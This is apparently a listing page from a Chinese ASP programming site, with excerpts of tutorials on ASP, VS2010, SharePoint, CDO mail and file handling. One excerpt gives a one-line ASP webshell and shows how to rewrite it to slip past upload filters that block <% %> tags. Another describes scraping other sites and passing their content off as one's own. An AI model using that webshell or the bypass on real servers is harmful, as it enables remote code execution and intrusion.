ASP 编程
热点文章
推荐文章
精彩推荐
ASP 编程
- [ ASP 技巧 ] 网盘工具比较,以及自己开发的网盘工具
点击：0 发布日期：02/22
从自己的观点看,网盘有这么几个好处: 1. 可以将重要文件备份到"云" 上, 防止硬盘崩溃造成数据丢失. 对于google, microsoft提供的存储空间来说, 他们的安全性,稳定性要远远高于自己的硬盘存储器. 从这个角度来说,实际上是给自己的数据一个更安全的家. 2. 可以随时随地访问需要的文件. 估计大家都有带着U盘、移动硬盘到处拷文件的经历，在家里写了某个文档，拿到公司再改改，又带回家……拷来拷去，最后哪个是最新的都分不清了. 但有了网盘这类的工具,其实可以抛弃U盘. 因为文件存在"云端", 从任何的客户机都可以访问. 3. 有些网盘还提供 分享, 文件编辑, 转换等功能. 非常实用. 国内目前有几个网盘工具,比如163的, qq的, 纳米盘等, 但用起来都限制很多, 空间小,文件不能长期保存等, 实用性不好. 本人也基本不用. 目前比较好的网盘有下面几个(只介绍免费的,收费的就不提了): 1. Skydrive 微软Live产品. 25G免费空间!! 再次感叹M$的财大气粗. office文档可以和live office无缝对接. 稳定. 缺点: 不能批量传送文件, 如果要传送一个有多级子目录的一个目录, 麻烦大大的. 2. google docs 这本来是goog.. - [ ASP 技巧 ] ASPX 的 @Register 命令
点击：0 发布日期：02/22
比较汗颜的一件事情，春节放假前，自己写的一段代码，不知道为啥，ASPX ，能加载ASCX.cs 中的代码，但是不能加载 ASCX 中的源文件， 由于静不下心来，就没有解决这个问题，今天回来上班后，发现竟然是 ASPX 的 @Register 命令写错了导致了的。 正确的应该是写成下面方式： <%@ Register TagPrefix="myTagPrefix" TagName="ConfigNavigation" Src="/Controls/ConfigNavigation.ascx" %> 但是我却把它写成了下面方式： <%@ Register TagPrefix="myTagPrefix" Namespace="MyWEB.Controls" Assembly="MyWebProject" %>后一种写法，只会加载cs文件对应的类，而不会加载 ascx 中的内容，从而就出现了我这里碰到的问题。 下面是@Register 命令的几种写法汇总，参考MSDN的http://msdn.microsoft.com/zh-cn/library/c76dd5k1.aspx 整理而来： <%@ Register tagprefix="tagprefix" namespace="namespace" assembly="assembly" %> <%@ Register tagprefix="tagprefix" namespace="namespace" %> <%@ Registe.. - [ ASP 教程 ] VS 2010的Intellisense相关崩溃的修补
点击：0 发布日期：02/21
【原文地址】Intellisense Crashing fix for VS 2010 【原文发表日期】 Thursday, February 11, 2010 4:41 PM 【除了写博客外，我现在还使用Twitter发短贴和共享链接。请通过twitter.com/scottgu跟随我。】 星期一我们发布了VS 2010 RC版，之后看到了对性能和稳定性方面的一些很好的反馈。 但有一个问题，我们看到有若干个人遇上了，就是在启用了UI自动化和连接了某些设备的机器上会经常发生的intellisense崩溃（crash）。 崩溃症状 如果当你在编辑器里键入东西，与此同时Intellisense窗口出现或消失，遇上经常性的 VS 2010 崩溃的话，那么你就是遇上了这个问题。 为什么会发生崩溃？ 导致崩溃最常见的原因是因为你运行的机器： 是个Tablet PC (即使你没在用笔) 启用了多点触摸屏幕驱动器 拥有一个象笔或Wacom tablet的外部输入设备 启用了屏幕阅读器 原因是，就在RC版发布前有一个很晚的修补修改了UI输入代码路径，不幸地造成了这个缺陷。 修补这个问题的补丁就要出来了 我们正在做一个VS 2010 RC版补丁，我们会在下个星期发布，该补丁会修正这个问题，防止它再次发生。一旦出来，我会在博客中提供补丁链接。 目前的权变措施 对此问题，目前有2个权变措.. - [ ASP 教程 ] VS 2010/.NET 4 RC版 发布了
点击：0 发布日期：02/21
原文地址】VS 2010 / .NET 4 Release Candidate 【原文发表日期】 Monday, February 08, 2010 11:39 PM 【除了写博客外，我现在还使用Twitter发短贴和共享链接。请通过twitter.com/scottgu跟随我。】 今天下午，我们发布了VS 2010 和 .NET 4 RC版（最终版候选版本），你可以在这里找到下载链接。 目前，下载只提供给 MSDN 订阅者。自星期三（2月10日）起，所有人都可以下载（无论你是否是MSDN订阅者）。 该RC版本的来历 去年12月，我在博客中写到我们决定发布一个公开的VS 2010 RC版，发布公开RC版本后面主要的动机是要确保我们可以就自上个公开VS 2010 Beta 2版本以来我们所做的性能和稳定性方面的工作得到广泛的测试和反馈。 在过去的几个月里，我们一直在把中期版本发布给一小部分人，他们一直在帮我们验证缺陷修补和测量非常大的项目和方案。在过去的几个星期里，他们的反馈极其的正面，这就是我们把今天的版本开放给更大范围的人来试用的原因。 到目前为止，RC版才出来几个小时，但Twitter上的反馈却看上去让人高兴： @DanWahlin: Visual Studio 2010 RC版，比之于早先的版本，其性能改进巨大。迄今为止， 非常高兴看到的一切。 @peterbromberg: 对VS2010 RC.. - [ ASP 技巧 ] 《软件开发性能优化系列》之类型系统
点击：0 发布日期：02/02
分页在前面好几节中的列子中已经出现，现在在详细讲解一下。 有三种方法去实现： 1、Top(int topCount) 方法 在sqlserver和msaccess中其实就是top , 在oracle通过rownum实现。 2、From(int startIndex, int endIndex) 从startIndex条到endIndex条之间的记录数。 3、Page(int pageSize, int pageIndex) 每页pageSize条，第pageIndex页 下面就依次对这三个方法举例说明。 top方法： DbSession.Default.From<Products>() .Top(10) .ToList();该查询时查询products表中的前10条记录，生成的sql语句如下：(如何输出查看组件生成的sql) Text: SELECT TOP 10 * FROM [Products] from方法： DbSession.Default.From<Products>() .From(3, 8) .. - [ 数据库相关 ] 数据库组件 Hxj.Data
点击：0 发布日期：02/02
分页在前面好几节中的列子中已经出现，现在在详细讲解一下。 有三种方法去实现： 1、Top(int topCount) 方法 在sqlserver和msaccess中其实就是top , 在oracle通过rownum实现。 2、From(int startIndex, int endIndex) 从startIndex条到endIndex条之间的记录数。 3、Page(int pageSize, int pageIndex) 每页pageSize条，第pageIndex页 下面就依次对这三个方法举例说明。 top方法： DbSession.Default.From<Products>() .Top(10) .ToList();该查询时查询products表中的前10条记录，生成的sql语句如下：(如何输出查看组件生成的sql) Text: SELECT TOP 10 * FROM [Products] from方法： DbSession.Default.From<Products>() .From(3, 8) .. - [ ASP 文摘 ] Sharepoint 最终作用是什么
点击：0 发布日期：02/02
从2004年算起来，专注于Sharepoint技术以及六七年了。从SPS2003，到MOSS2007，已经现在的Sharepoint Server2010 Beta2，Sharepoint技术可以说是迈过了一个又一个台阶，起码可以说，字面的功能是越来越强大。 国内的Sharepoint应用，应该说是从2007年进入了发展的阶段，虽然也有SPS2003下的应用，但是敢于尝鲜的企业毕竟很少，而且说实话，SPS2003下做企业应用，实在是太困难了，所谓的团队协作只能是个供销售人员忽悠的概念，干不了多少实在的事情。MOSS2007发布后，国内的应用渐渐多了起来，北京的几家专注于Sharepoint技术的公司，日子也渐渐好了起来，MOSS也终于成为了微软增长最快的一个产品，一年为微软拿下了10亿美元的利润。 几年过去了，国内那些看重了Sharepoint技术并实施了Sharepoint项目的企业，究竟都从项目中获得了哪些利益，我无从考证。作为一直致力于使用Sharepoint技术为企业搭建应用环境的IW，我一直在困惑，企业究竟该如何实施Sharepoint技术，才能让这项技术真正的带来好处。 说起来，我也算是参与过一些项目，而且也号称是Sharepoint架构方面的MVP，让我惶恐的是，对于Sharepoint这样庞大的一个产品，几年下来我都没能彻底掌握它的架构，以及规划的原.. - [ ASP 编程 ] 比较两个DataTable是否相等
点击：0 发布日期：02/02
我写这篇文章只是想告诉大家，网上流传最广的并不一定是正确的 我想要是Google搜一下，如何判断两个DataTable相等，出来的最多的是下面的方法 代码 private bool ValueEquals(DataTable objA,DataTable objB) { if(objA != null && objB != null) { if(objA.Rows.Count != objB.Rows.Count) { return false; } if(objA.Columns.Count != objB.Columns.Count) { &.. - [ ASP 编程 ] 让setInteval里的函数参数中的this指向特定的对象
点击：0 发布日期：02/02
话说阿里巴巴今年的校园招聘有一道题目考了一个知识点,那就是setInterval的参数函数里的this指向. 看到这个题,我蒙了,因为那时候我不清除这个问题,想了半天没想出来,后来到网上一查,在国外的某网站查到说setInterval和setTimeout之后的函数的作用域是全局的,也就是里面的this指向的是全局对象. 这个问题可麻烦了,我经常要在循环函数里用this来引用当前对象,也许你想到可以用闭包,不过实际情况并非如此简单,对象实例多了之后,闭包也乱套了. 我的愿望就是让循环函数里的this仍然指向当前上下文的对象,无需传参数,无需闭包(其实这也是闭包,只是形式上看着比较自然而已); 例如:(一部分代码,作用是定时发送请求) 1 var sendRequest=function(){} 2 sendRequest.prototype={ 3 ............................. 4 ............................. 5 beginSend:function(){ 6 //使循环函数里的this指向本对象,而不是全局对象 7 this.loop_send=setInterval((function(param){ 8 return function(){param.sendARequest();} 9 })(this),this.opt.. - [ ASP 编程 ] VS2010 Extension实践
点击：0 发布日期：01/29
最近VS2010 Extension在Visual Studio Blog（http://blogs.msdn.com/visualstudio/）上提得很频繁，于是也想翻来文档研究研究，结果居然找了半天，居然没有一丁点完整介绍这一块的，于是，只好自己找着VS IDE上的模板提供的内容和Visual Studio Blog上的讲解，一边Reflector参演，一边涂鸦一些代码，准备实弹演练一下，但是觉得这个模板建出来的Extension也太简单了，刚好看到AxTool（http://www.axtools.com/products-vs2010-extensions.php）有一个代码编辑器扩展，也是VS Extension的，于是就照着这个，自己一步一步做一下。 首先，要想建立VS Extension工程，你需要安装VS2010 SDK，目前是Beta2版本，你可以到这里可以下载：http://go.microsoft.com/fwlink/?LinkID=165597），这里我是通过Editor Text Adornment模板创建的工程，嗯，我就不详细写如何通过模板创建自己Extension工程了，如果你不熟悉这里，可以参考Quan To的这篇帖子——Building and publishing an extension for Visual Studio 2010。 建好工程以后，会自动生成TextViewCreationListener，这里实现了IWpfTextViewCreationListener接口，并通过MEF导出IWpfTextViewCreationListener对象： &.. - [ ASP 实例 ] ASP实现上一篇,下一篇过程代码
点击：2000 发布日期：02/24
Rem==上一篇==Rem======================================================Rem= 参数说明:Rem= pid当前ID,prame:栏目前辍(如一般web_news表,字段时一般为wn_**,prame就代表wn)Rem= ptable(表前辍.如一般表名是:站点名_表名(shenzhe_news) ptable:就代表shenzhe)Rem= 说明:采用上面命名法,可使该过程达到通用Rem=====================================================Function GetPre(pid,prame,ptable)id = prame&"_id"title = prame&"_title"table = "city_"&ptableurl = "show_"&ptablesql = "SELECT TOP 1 "&id&","&title&" FROM "&table&" WHERE "&id&"<"&pid&" ORDER BY "&id&" DESC"set rs = Conn.Execute(sql)If rs.eof or rs.bof Thenpre = "上一篇:没有新闻了"Elsepre = "<a href="&url&".asp?"&id&"="&rs(0)&">"&rs(1)&"</a>"End IfGetPre = preEnd FunctionRem = 下一篇Rem=============Rem= 参数函意和上过程一样Rem==========Function GetNext(nid,nrame,ntable)id = nrame&"_id"title = nrame&"_title"table = "city_"&ntableur.. - [ ASP 实例 ] asp上传下载
点击：2447 发布日期：02/24
一共3个文件 <--upfile.asp-->http://ktgirl001.0033.cn <%OPTION EXPLICIT%><%Server.ScriptTimeOut=5000%><!--#include FILE="upload_5xsoft.inc"--><html><head><title>文件上传</title></head><body><br>化境文件上传!<hr size=1 noshadow width=300 align=left><br><br><%dim upload,file,formName,formPath,iCountset upload=new upload_5xsoft ''建立上传对象 response.write upload.Version&"<br><br>" ''显示上传类的版本 if upload.form("filepath")="" then ''得到上传目录 HtmEnd "请输入要上传至的目录!" set upload=nothing response.endelse formPath=upload.form("filepath") ''在目录后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" end if iCount=0for each formName in upload.objForm ''列出所有form数据 response.write formName&"="&upload.form(formName)&"<br>"next response.write "<br>"for each formName in upload.objF.. - [ 数据库相关 ] 一个简单的asp数据库操作类
点击：846 发布日期：02/24
<%'%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'数据库操作类'%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'名称：Class_DBOperate'版本：0.2'作者：qihangnet'更新：2005年6月14日'作用：简化数据库操作的流程'授权：免费使用'%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Class Class_DBOperate '************************************'变量定义'************************************'Conn ---------- 数据库连接对象'Conn_Str ------ 数据库连接字符串 Private Conn,Conn_Str '************************************'实例 初始化/终止'************************************ Private Sub Class_Initialize() Set Conn = Server.CreateObject("ADODB.Connection")End Sub Private Sub Class_Teriminate()Set Conn = NothingEnd Sub '************************************'属性'************************************ '输出数据库连接字符串' 返回值类型：string Property Get ConnectString ConnectString = Conn_StrEnd Property '设置数据库连接字符串（数据库连接字符串）' 参数：str --- string Property Let ConnectString(str) Conn_Str = strEnd Property '*********.. - [ ASP 实例 ] 让你的网站首页自动选择语言
点击：501 发布日期：02/24
过去在一家软件外企工作时写过一个小的web实验性项目,其中一部分需求是用户界面的多种语言（简体中文、繁体中文、英语、朝鲜语、日语）支持，当时使用了模板技术来实现了该需求，并用Cookies保存了用户的设置，但是用户第一次登陆时（或者是将Cookies删除了以后）仍然需要选择语言种类，那么能不能更方便用户呢？能不能用程序来自动帮助选择呢？ 答案是肯定的，大家都在用google，你用中文系统打开google的首页，打开的自然是中文首页，而不会是其他语言。因为google会自动判断用户系统使用的首选语言是什么。 怎样才能做到像google那样呢，其实很简单， 在浏览器发给web服务器的 HTTP Headers Information 中包含了这样一个信息 Accept-Language，这个信息就是，浏览器中 工具->gt;Internet选项->gt;常规 下的 语言， 它就是用来设置浏览器可接受的语言首选项的， 它可以是多种可接受语言的优先排序列。 下面我以asp为例简单介绍一下“如何来自动判断用户语言”： <%Function RegExpTest(patrn, strng) Dim regEx,Match,Matches'建立变量。 Set regEx = New RegExp.. - [ ASP 教程 ] 远程数据获取之ASP小偷程序的入门教程
点击：353 发布日期：02/24
这里所说的“小偷”指的是在ASP中运用XML中的XMLHTTP组件提供的强大功能，把远程网站上的数据（图片，网页及其他文件）抓取到本地，经过各种处理后显示到页面上或者存储进数据库的一类程序。你可以通过这种小偷程序，完成过去一些似乎完全不可能实现的任务，比如说把某个站的页面偷梁换柱后变成自己的页面，或者把某个站的一些数据（文章，图片）保存到本地数据库中加以利用。“小偷”的优点有：无须维护网站，因为小偷程序中的数据来自其他网站，它将随着该网站的更新而更新；可以节省大量的服务器资源，一般小偷程序就几个文件，所有网页内容都是来自其他网站。缺点在于：不稳定，如果目标网站出错，程序也会出错，而且，如果目标网站进行升级维护，那么小偷程序也要进行相应修改；速度，因为是远程调用，速度和在本地服务器上读取数据比起来，肯定要慢一些。怎么样，听起来很神奇吧？我们现在就开始来学习一些“小偷”程序的入门知识吧！ 我们拿个简单点的东西来研究一下吧，QQ网站上的天气预报程序 代码如下： <%On Error Resume NextServer.ScriptTimeOut=9999999Function getHTTPPage(Path)t = GetBody(Path)getHTTPPage=BytesToBstr(t,"GB2312")En.. - [ 组件开发 ] WinXP的IIS中解决FileSystemObject相关问题解决
点击：300 发布日期：02/24
利用WinXP的IIS时，发现利用FileSystemObject总是不能写入一个已有的文件，而且也不能删除某个文件，提示——没有权限。 尝试了各种设置，但总不切根本，花掉两天时间，利用Google总算找到了解决方案，也算获得了两点关于WinXP的知识点： 1、WinXP中所有的目录都是只读属性的，取消后只是取消目录下文件的只读属性，而目录的只读不在具备其只读含义。 如何去掉winxp（sp2）文件的只读属性？ 在Windows XP中，所有的文件夹都具有“只读”属性，取消只读属性后再次察看会发现依然是只读的，但是这不影响文件的使用。因为在Windows XP中，文件夹属性中的“只读”不再代表原来的字面含义：对于文件系统来说，文件夹的只读属性没有实际的意义。即使一个文件夹是只读的，你仍然可以在这个文件夹里创建.修改或删除文件Windows XP中文件夹“Read-Only”属性表示该文件夹是“定制”的。去掉“只读”属性会丢失该文件夹所有的“定制”信息，如图标.背景等。所以，Windows XP中不再提供用户界面来设置文件夹本身的只读属性。文件夹属性中“只读”的状态永远是第三态。当你在文件夹属性中选中或清除“只读”时，你设置的是这个目录下的文件的只读属性。 如果.. - [ ASP 实例 ] 使用CDO.Message+SMTP发送邮件
点击：772 发布日期：02/24
<!--发送代码--> <% Const cdoSendUsingMethod="http://schemas.microsoft.com/cdo/configuration/sendusing" Const cdoSendUsingPort=2 Const cdoSMTPServer="http://schemas.microsoft.com/cdo/configuration/smtpserver" Const cdoSMTPServerPort="http://schemas.microsoft.com/cdo/configuration/smtpserverport" Const cdoSMTPConnectionTimeout="http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout" Const cdoSMTPAuthenticate="http://schemas.microsoft.com/cdo/configuration/smtpauthenticate" Const cdoBasic=1 Const cdoSendUserName="http://schemas.microsoft.com/cdo/configuration/sendusername" Const cdoSendPassword="http://schemas.microsoft.com/cdo/configuration/sendpassword" Dim objConfig ' As CDO.Configuration Dim objMessage ' As CDO.Message Dim Fields ' As ADODB.Fields Set objConfig = Server.CreateObject("CDO.Configuration") Set Fields = objConfig.Fields With Fields .Item(cdoSendUsingMethod) = cdoSendUsingPort .Item(cdoSMTPServer) = "SMTP服务器" '改成可用的外部邮件服务器域名 .Item(.. - [ 组件开发 ] Windows 2003下不注册组件用CDO.Message发邮件
点击：420 发布日期：02/24
其实ASP可以做很多事，只是大家不知道怎么用而以。微软为asp提供了非常多的现成有用的组件，而这些组件却没有人知道，如用CDO.Message发送邮件。 什么是CDO.Message？在winnt和win2k下发送邮件要用CDONTS.NewMail，CDONTS.NewMail组件是需要注册的，很简单，只要在服务器上运行命令行regsvr32 Cdonts.dll，在弹出的对话框中确定即可，使用CDONTS.NewMail服务还需安装有iis自带的smtp。到了windows2003，系统就没有附带Cdonts.dll文件了，只剩下一个类似的文件cdosys.dll，当然这个文件在win2k也是有的（需要注册组件），不过2003下好的是什么呢？该组件无需手动注册，系统已经自动注册了。现在我们来看看如何使用该组件吧。<%Dim cmSet cm=Server.CreateObject("CDO.Message")'创建对象cm.From="from@test.com"'设置发信人的邮箱cm.To="to@test.com"'设置收信人的邮箱cm.Subject="我发现一个可以在线订阅RSS的网站，以后不用再安装什么软件了。"'设定邮件的主题'cm.TextBody="http://www.knowsky.com/rss/"'上面是使用普通的文本格式发送邮件，只能是文字，不能支持html，所以这里不用cm.HtmlBody="Online RSS Feeds Reader 是一个在线的RSS新闻阅读系统。"&_"无.. - [ ASP 技巧 ] ASP实现简单的网页保护
点击：382 发布日期：02/24
主要使用request对象的ServerVariables属性，通过它来获得环境变量的值。使用的语法为：Request.ServerVariables(variable)，“variable”表示环境变量的名称，如服务器主机名称、Web服务器软件名等等，若“variable”为“REMOTE_ADDR”则表示访问者的IP地址，通过它就可以实现IP地址的过滤。 源程序如下：(文件名：demo.ASP) ＜html＞ ＜head＞ ＜meta http－equiv=“Content－Type” content=“text/html; charset=gb_2312－80”＞ ＜meta name=“GENERATOR” content=“Microsoft FrontPage Express 2.0”＞ ＜style＞ ＜!－－ .as{ line－height: 15px; font－size: 9pt } a:hover {color: rgb(0,51,240);text－decoration:underline} .p9 { font－family: “宋体”; font－size: 9pt; line－height: 15pt} .p12 { font－family: “宋体”; font－size: 12pt; line－height: 18pt} a:link { text－decoration: none;}.. - [ ASP 教程 ] Aspjpeg简例
点击：390 发布日期：02/23
Set objImg = Server.CreateObject("Persits.Jpeg")objImg.Interpolation = 2\\\'影像加强 0-2objImg.open xFilePathresponse.write "<:::原始值:::>AspJpeg版本=" & objImg.Version & "宽=" & objImg.OriginalWidth & "像素" & "高=" & objImg.OriginalHeight & "像素"response.write "品质=" & objImg.Quality & " (0-100)" & "路径=" & objImg.Version & ""\\\'objImg.Width = objImg.OriginalWidth / 2\\\'变更图片宽度(范例为50%)\\\'objImg.Height = objImg.OriginalHeight / 2\\\'变更图片高度(范例为50%)\\\'objImg.Sharpen 2, 250\\\'锐利处理\\\'objImg.Crop 0,0,150,150\\\'切割处理\\\'objImg.FlipH\\\'左右翻转\\\'objImg.FlipV\\\'上下翻转\\\'objImg.RotateL\\\'向左旋转90度\\\'objImg.RotateR\\\'向右旋转90度\\\' 将图片秀上文字:------------------------objImg.Canvas.Font.Color = &HFF0000\\\'颜色objImg.Canvas.Font.Family = "细明体"\\\'字型objImg.Canvas.Font.Bold = True\\\'是否使用粗体objImg.Canvas.Font.BkMode = False\\\'是否使用字体背景色objImg.Canvas.Font.BkColor = &.. - [ ASP 文摘 ] 不能使用asp标记的时候
点击：85 发布日期：02/23
郁闷中啊，无聊的逛着，还为那个同时使用双标签的问题而努力找解决方案，突然想到了一个东西， 以前好多朋友说过就是在程序上传shell过程中，程序不允许包含<%%>标记符号的内容的文件上传， 这样就有好多shell不能上传上去了！那我们是不就没别的方法了么，当然有了！呵呵！ 我们拿蓝屏最小的ASP木马来看下： <%execute request("l")%> 我们来把他的标签换下来： <script language=VBScript runat=server>execute request("l")</Script> 呵呵！这样就避开了使用<%%>，保存为.asp,程序照样执行,效果一样的说！ 偶在xpsp2下测试成功！ 从勇敢的风那里得来得灵感！^_^在此再次感谢！ - [ ASP 文摘 ] cookie和session机制之间的区别与联系
点击：148 发布日期：02/23
具体来说cookie机制采用的是在客户端保持状态的方案。它是在用户端的会话状态的存贮机制，他需要用户打开客户端的cookie支持。cookie的作用就是为了解决HTTP协议无状态的缺陷所作的努力. 而session机制采用的是一种在客户端与服务器之间保持状态的解决方案。同时我们也看到，由于采用服务器端保持状态的方案在客户端也需要保存一个标识，所以session机制可能需要借助于cookie机制来达到保存标识的目的。而session提供了方便管理全局变量的方式 session是针对每一个用户的，变量的值保存在服务器上，用一个sessionID来区分是哪个用户session变量,这个值是通过用户的浏览器在访问的时候返回给服务器，当客户禁用cookie时，这个值也可能设置为由get来返回给服务器。 就安全性来说：当你访问一个使用session 的站点，同时在自己机子上建立一个cookie，建议在服务器端的SESSION机制更安全些.因为它不会任意读取客户存储的信息。 正统的cookie分发是通过扩展HTTP协议来实现的，服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie 从网络服务器观点看所有HTTP请求都独立于先前请求。就是说每一个HTTP响应完全依赖于相应.. - [ ASP 应用 ] 在ASP中实现RsA加密与解密
点击：185 发布日期：02/23
文章有两文件组成，test.asp 测试演示文件；clsrsa.asp 实现rsa加密与解密的vbs类文件下面是代码: 1. test.asp <%rem 文章标题:在asp中通过vbs类实现rsa加密与解密 %><%Option Explicit%><!--#INCLUDE FILE="clsRSA.asp"--><% Dim LngKeyEDim LngKeyDDim LngKeyNDim StrMessageDim ObjRSAIf Not Request.Form = "" Then LngKeyE = Request.Form("KeyE")LngKeyD = Request.Form("KeyD")LngKeyN = Request.Form("KeyN")StrMessage = Request.Form("Message") Set ObjRSA = New clsRSA Select Case Request.Form("Action")Case "Generate Keys"Call ObjRSA.GenKey()LngKeyE = ObjRSA.PublicKeyLngKeyD = ObjRSA.PrivateKeyLngKeyN = ObjRSA.ModulusCase "Encrypt"ObjRSA.PublicKey = LngKeyEObjRSA.Modulus = LngKeyNStrMessage = ObjRSA.Encode(StrMessage)Case "Decrypt"ObjRSA.PrivateKey = LngKeyDObjRSA.Modulus = LngKeyNStrMessage = ObjRSA.Decode(StrMessage)End Select Set ObjRSA = Nothing End If%><HTML><HEAD><TITLE>RSA Cipher Demonstration</TITLE></HEAD><BODY><H1>RS.. - [ ASP 教程 ] Global.asa文件的使用及Chat程序
点击：756 发布日期：08/03
在上一篇中作者给大家详细介绍了两个非常实用的 ASP 内建对象 Application 和 Session 的使用方法。由于这两者的 OnStart、OnEnd 事件的脚本都必须在 Global.asa 文件中声明 , 因此，本篇将给大家详细介绍 Global.asa 文件的使用方法。为使大家熟练掌握至今所学过的知识，本篇还将举出一个 ASP 的 Chat 程序，供各位参考。 最近很多朋友来信问我，为什么前两期的范例程序运行时有这样那样的错。首先，我要向大家声明，这些程序都是我自己写的，在出“厂”前都经过合格检验，绝无“假冒伪劣产品”。:) 由于程序中使用了 cookie 记录客户信息，所以如果你在浏览器中没有设置接受 cookie 则程序将不能正常运行。另外，程序将客户信息记录在客户端的 cookie 所使用的方法是 Response.Cookie，此语句必须写在 ASP 文件中的第一个 < HTML>标记前，这是因为 Cookie 是作为 HTTP 传输的头信息的一部分发送给客户的，如果当 HTTP 报头信息已经传输给客户后再使用 Response.Cookie，将出现以下错误 :“HTTP 标题已经写入到客户浏览器。任何 HTTP 标题的修改必须在写入页内容之前。”，可能一些朋友在剪贴程序的时候没有注意，打乱了程序的前后次序.. - [ ASP 教程 ] ASP基础教程:ASP内建对象Server
点击：943 发布日期：08/03
通过前九篇的理论和实践，相信大家已经对 ASP 有了系统的了解，虽然至今为止，我们只学了 ASP 的 4 个内建对象，但已经完全能够写出一些实用的小程序了。今天，作者将继续给大家讲解最后一个 ASP 内建对象——Server。 在开始本次课程之前，我仍要在这里回答一些朋友们提出的比较普遍的问题。最近仍有不少朋友来信问我，如何构建服务器端的 Active Server Page 环境。我想可能是我在前几篇中没有讲清楚，因此，在本篇的开头有必要把这个问题详细阐述一遍。 ASP 的应用完全是基于 Microsoft Internet Infomation Server（简称 IIS）之上的，IIS 有分别用于 Windows NT Server 和 WorkStation 的两个版本中（当然 IIS4.0 也有 Windows98 版，这里暂且不提），其功能几乎完全相同，所不同的只是安装过程。一般来说，我们使用的都是基于 NT 服务器上的 IIS 版本。在 NT Server 的环境中，发布信息、管理站点的工作一般都是通过 IIS 来完成的。通常我们在 NT4.0 版本中运行的是 IIS2.0 版，但它不具有支持 ASP 的功能。ASP 必须在安装完 IIS 后单独安装，安装文件是一个微软发布的 ASP 安装包，大约有 9 兆多，应该可以在微软的网站上下载。当 IIS2.0 中增添了支持 ASP.. - [ FSO 专题 ] 通过数组给您的文件排序
点击：443 发布日期：08/03
当您使用FILESYSTEMOBJECT对象获得某个目录下的文件列表的时候，你有没有发现无法控制它们的排序方式，比如按照名字排序，按照扩展名排序，按照文件大小排序等等，让我们试着用数组给它们排排序儿。如果您想通过名字排序，那将是非常简单的，但是假如你想通过文件大小或者文件创立时间等等来排序的时候，那么将有点麻烦。我们将通过二维数组做到这一点。下面的代码演示了如何通过选择排序方式达到的我们目的，单击排序，点两次就反着排了。 <HTML><HEAD><TITLE>文件排序演示</TITLE></HEAD> <BODY> <%' 设定一个演示目录，：） CONST DIRECTORY = "/" ' 用常数定义排序方式CONST FILE_NAME = 0 '按照名字排序……依次类推CONST FILE_EXT = 1CONST FILE_TYPE = 2CONST FILE_SIZE = 3CONST FILE_CREATED = 4CONST FILE_MODIFIED = 5CONST FILE_ACCESSED = 6 '获得 排序命令，默认为按照名字排序 req = Request("sortBy")If Len(req) < 1 Then sortBy = 0 Else sortBy = CInt(req)req = Request("priorSort")If Len(req) < 1 Then priorSort = -1 Else priorSort = CInt(req) '设置倒序If sortBy = priorSort Thenreve.. - [ FSO 专题 ] 文件的读出 编辑 管理
点击：831 发布日期：08/03
<%urlpath="http://"&Request.ServerVariables("SERVER_NAME")dim cpath,lpathset fsoBrowse=CreateObject("Scripting.FileSystemObject")if Request("path")="" thenlpath="/"elselpath=Request("path")&"/"end ifif Request("attrib")="true" thencpath=lpathattrib="true"elsecpath=Server.MapPath(lpath)attrib=""end ifSub GetFolder()dim theFolder,theSubFoldersif fsoBrowse.FolderExists(cpath)thenSet theFolder=fsoBrowse.GetFolder(cpath)Set theSubFolders=theFolder.SubFoldersResponse.write"<a href='list.asp?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br>"Response.write"<table border='0' width='100%' cellpadding='0'>" For Each x In theSubFoldersResponse.write"<tr><td width='50%'><a href='list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</.. - [ ASP 应用 ] 利用ASP嵌套JS+SQL Server打造两级连动下拉框(二)
点击：1152 发布日期：08/03
利用ASP嵌套JS+SQL Server打造两级连动下拉框（2） TwoLevel.asp <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title>下拉列表示例</title> </head> <% dim conn dim connstr on error resume next set conn=server.CreateObject("ADODB.connection") connstr="driver={SQL Server};server=wen;uid=sa;pwd=;database=DB_ProvinceCat" conn.Open connstr set Rs=server.createobject("ADODB.recordset") Rs.CursorLocation = adUseClient &nb.. - [ ASP 技巧 ] ip限制函数
点击：213 发布日期：08/03
'******************************'Function CheckIp(cInput_Ip,cBound_Ip)'Created by qqdao, qqdao@263.net 2001/11/28'说明：首先需要根据;号循环，然后判断是否含有"-"，如果有则进行拆分处理，最后判断是否在范围内'参数： cInput_Ip,代检查的ip' cBound_Ip,给定的范围格式为,单个ip,和范围ip，范围ip最后使用”-“分割，如果是“*”则必须放到最后一位' 每个范围后添加":ALLOW"表示允许登陆，添加":REFUSE"表示拒绝登陆。多个范围用”;“隔开' 例如192.168.1*.*:ALLOW;192.168.1.1:ALLOW;192.168.1.1-10:REFUSE"'返回值: true/false'******************************function CheckIp(cInput_Ip,cBound_Ip)dim cSingle_Ip,cTemp_IP,cStart_IP,cEnd_IpCheckIp = falsecSingle_Ip=split(cBound_Ip,";")for i=0 to ubound(cSingle_Ip)if Instr(cSingle_Ip(i),"REFUSE") <> 0 then '就是拒绝了cTemp_IP = left(cSingle_Ip(i),instr(cSingle_Ip(i),":")-1)if Instr(cTemp_IP,"*") <> 0 then '是宽范围cStart_IP = left(cTemp_IP,instr(cTemp_IP,"*")-1)if left(cInput_Ip,len(cStart_IP))=cStart_IP thenCheckIp = falseexit functionend ifend ifif Instr(cTemp_I.. - [ ASP 技巧 ] 表单递交合法性检测-不允许指定字符
点击：146 发布日期：08/03
<SCRIPT LANGUAGE="JavaScript"> <!--// function validate(){ var invalid = " "; //非法字符是空格你可以改为其它字符或数字if (document.submitform.filename.value.indexOf(invalid) > -1) { alert("文件名不能含有空格!"); return false; } else { return true; } } // --> </script> <form name=submitform onSubmit="return validate()"> <input type=file name=filename> <p> <input type=submit value="Submit"> </form> - 共有1263条信息 1 - 30 1/43页 30个/页 上一页 下一页
